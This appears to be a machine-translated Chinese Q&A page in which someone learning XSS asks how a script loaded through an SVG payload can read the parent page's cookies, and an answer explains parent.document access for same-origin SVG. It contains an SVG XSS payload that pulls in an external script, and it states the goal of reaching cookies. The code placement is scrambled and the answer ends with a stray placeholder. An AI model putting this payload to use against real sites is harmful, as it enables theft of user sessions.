我在学习XSS。我知道HTML SVG对象存在漏洞
来源在这里
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="0" height="0" id="xss"><script type="text/ecmascript" xlink:href="http://blahblahblah.com/~blah/xss/xss.js"></script></svg>
我在xss.js
中尝试过这个alert(document.cookie);
但cookie的值是“未定义”
SVG对象中有Document对象,但它与HTML Document Object不同。
然后,我如何获取cookie的父文档对象?
请帮助。
感谢阅读。
答案 0 :(得分:4)
有一个HTMLDocument接口和一个SVGDocument接口,它们都来自基础Document接口,它提供了一些常用方法。 Cookie是HTMLDocument界面的一部分,因此只有HTML文档才能获得cookie。
如果您正在讨论<svg>
通过<object>
,<embed>
或<iframe>
标记嵌入h parent.document
的情况,那么top.document
或者<html>
<body>
<object id="object" data="embedded.svg" type="image/svg+xml"
width="450" height="300">
</object>
</body>
</html>
将从SVG对象的脚本中获取父html文档,前提是SVG和HTML文档位于同一个域中。
至少在Firefox上这对我有用......
<svg xmlns="http://www.w3.org/2000/svg">
<rect x="0" y="0" width="100%" height="100%" fill="blue"/>
<script>
alert(parent.document);
</script>
</svg>
与embedded.svg一起
{{1}}